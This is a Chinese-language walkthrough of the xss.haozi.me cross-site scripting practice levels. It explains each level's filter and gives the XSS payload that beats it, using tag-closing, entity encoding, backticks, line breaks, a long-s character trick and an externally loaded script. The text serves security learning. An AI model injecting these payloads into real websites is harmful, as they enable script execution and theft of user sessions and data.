当前位置:网站首页>xss.haozi练习通关详解
xss.haozi练习通关详解
2022-08-03 19:58:00 【金色%夕阳】
xss.haozi练习通关概述
题库链接:https://xss.haozi.me/
0x00
这个游戏是要弹图片才算通关,光弹窗是不行的。
分析:
第一关没有任何限制条件,所以直接用img标签过。
payload:
<img src=1 onerror=alert(1)>
执行:
使用img标签,方法是使src错误,而使得onerror执行。我们就可以在onerror后面进行操作了。
0x01
分析:
这里给出的限制条件是<textarea>,而<textarea>标签下所有js代码不能执行,所以需要先闭合该标签。
payload:
</textarea><img src="1" onerror=alert(1)>
官方文档:https://developer.mozilla.org/en-US/docs/Web/HTML/Element/textarea
执行:
0x02
分析:
这里给出的限制条件是input标签,我们可以尝试闭合input标签,即添加"和>。
payload:
"><img src="1" onerror="alert(1)">
执行:
0x03
分析:
这里给出的限制条件是replace方法和过滤了()。我们可以通过实体编码括号和反引号来过。
payload:
<img src="1" onerror="alert`1`">
执行:
0x04
分析:
这里给出的限制条件是过滤了()和反引号`,我们可以使用编码来过 。
payload:
<img src="1" onerror="alert(1)">
执行:
0x05
分析:
这里给出的限制条件是过滤了右注释符,并且让你在注释符中输入,我们可以通过闭合注释来过。
payload:
--!><img src="1" onerror="alert(1)">
执行:
0x06
分析:
这里给出的限制条件是对auto和on开头只要加上等号就会变为下划线,加上大于号大于号也会变为下划线,也就是说过滤了autoforce和onerror事件。我们可以使用一个换行的技巧前提要加一个type属性值image和src映射路径属性,然后再让等于号和属性分开。
payload:
type="image" src="1" onerror
=alert(1)
执行:
0x07
分析:
这里给出的限制条件是使用正则表达式对<></>标签进行了限制,也就是说只能<或者>,总之不能闭合标签,那么这里我们可以使用<img标签来通过。
payload:
<img src="1" onerror="alert(1)"
执行:
0x08
分析:
这里给出的限制条件是对</style>进行了过滤,如果输入就会显示后面的编码内容,并且style标签中只能出现文本或者符号,js代码无法生效,可以模仿0x06中的换行来过。
payload:
</style
><img src="1" onerror="alert(1)">
</style
><script>alert`1`</script>
</style
><svg onload=alert(1)>
执行:
0x09
分析:
这里给出的限制条件是限制了URL,后面按正常套路闭合就行了,在使用img标签来过。
payload:
https://www.segmentfault.com><img src="1" onerror="alert(1)"
执行:
0x0A
分析:
这里给出的限制条件是对&、’、“、<、>、\、/进行了过滤,只要输入这些符号就会被转为实体编码,但img标签的src里是认符号的实体编码,和0x09一样直接输入就通过了。
payload:
https://[email protected]/j.js
执行:
0x0B
分析:
这里给出的限制条件是将所有的字母都换成了大写,所以要将alert(1)进行实体编码。
payload:
<img src="1" onerror="alert(1)">
执行:
0x0C
分析:
这里给出的限制条件是增加了script的过滤,我们可以使用实体编码的方法来过。
payload:
<img src="1" onerror="alert(1)">
执行:
0x0D
分析:
这里给出的限制条件是通过正则表达式过滤了<、/、"、'这四种符号,并且指定了我们的input在//注释语句中,首先考虑逃出注释语句,使用–>注释符逃出,不过这里注意我们在使用语句alert(1)时需要换行。
payload:
-->
alert(1)
-->
执行:
0x0E
分析:
这里给出的限制条件是使用正则表达式过滤了所有字母,并且将字母小写转为了大写,如果输入<script>就会转为<_CRIPT>,所以这里只能使用一个特殊的符号 ſ ,它可以在转换为s而不被过滤,并且由于js中区分大小写,所以还需要将里面的js事件代码进行十进制的实体编码。
payload:
<ſvg onload=alert(1)>
执行:
0x0F
分析:
这里给出的限制条件是对&、’、“、<、>、\、/进行了过滤,只要输入这些符号就会被转为实体编码,并且让我们在img标签中输入,html可以识别转换的编码,所以我们先闭合然后输入js的事件函数alert(1)再通过注释符将后面的注释就可以过了。
payload:
');alert(1)
-->
执行:
0x10
分析:
这里给出的限制条件是window.data,这是window调用了全局变量,正好alert在windowd的全局中存在所以可以执行。
payload:
alert(1)
执行:
0x11
分析:
这里给出的限制条件是对`,“,<,>,,\n等进行了过滤,但是我们可以发现,如果我们输入双引号它会显示\”,其实这里并没有将双引号成功过滤,所以还是可以去使用。
payload:
");alert("1
执行:
0x12
分析:
这里给出的限制条件是输入"双引号会显示\",和0x11类似,不同的是"在这里的console里面输出,但是console.log不在html标签里面,也就是相当于"在html标签外面所以不能被编码,所以只能选择在\“的\前面加一个转义符再进行转义,或者闭合script标签就可以过。
payload:
#方法一
\");alert(1)//
#方法二
\");alert(1)
-->
#方法三
</script>
<script>alert(1)</script>
执行:
边栏推荐
- matplotlib画polygon, circle
- Node version switching tool NVM and npm source manager nrm
- MySQL基础
- Benchmarking Lane-changing Decision-making for Deep Reinforcement Learning
- node版本切换工具NVM以及npm源管理器nrm
- Auto.js脚本程序打包
- 友宏医疗与Actxa签署Pre-M Diabetes TM 战略合作协议
- LeetCode 622. 设计循环队列
- 若依集成browscap读取浏览器用户代理
- ESP8266-Arduino编程实例-BH1750FVI环境光传感器驱动
猜你喜欢
ESP8266-Arduino编程实例-BH1750FVI环境光传感器驱动
虚拟机vmware设置桥接模式上网
Interview Blitz: What Are Sticky Packs and Half Packs?How to deal with it?
622 设计循环队列——Leetcode天天刷【循环队列,数组模拟,双指针】(2022.8.2)
开源生态研究与实践| ChinaOSC
EMQX Newsletter 2022-07|EMQX 5.0 正式发布、EMQX Cloud 新增 2 个数据库集成
149. The largest number on a straight line, and check the set
Redis 内存满了怎么办?这样置才正确!
后台图库上传功能
【微信小程序2】事件传参与数据同步[03]
随机推荐
Detailed steps for tensorflow-gpu2.4.1 installation and configuration
Node version switching tool NVM and npm source manager nrm
ESP8266-Arduino编程实例-BH1750FVI环境光传感器驱动
后台图库上传功能
149. The largest number on a straight line, and check the set
CS免杀姿势
危化企业双重预防机制数字化建设进入全面实施阶段
node版本切换工具NVM以及npm源管理器nrm
ESP8266-Arduino编程实例-WS2812驱动
tensorflow-gpu2.4.1安装配置详细步骤
LeetCode 622. Designing Circular Queues
Introduction to Cosine Distance
LeetCode 952. Calculate Maximum Component Size by Common Factor
数据驱动的软件智能化开发| ChinaOSC
epoll + 线程池 + 前后置服务器分离
不知道这4种缓存模式,敢说懂缓存吗?
【飞控开发高级教程6】疯壳·开源编队无人机-AI语音控制
Calculation of the array serial number of Likou brush questions (one question per day 7/28)
【统计机器学习】线性回归模型
调用EasyCVR云台控制接口时,因网络延迟导致云台操作异常该如何解决?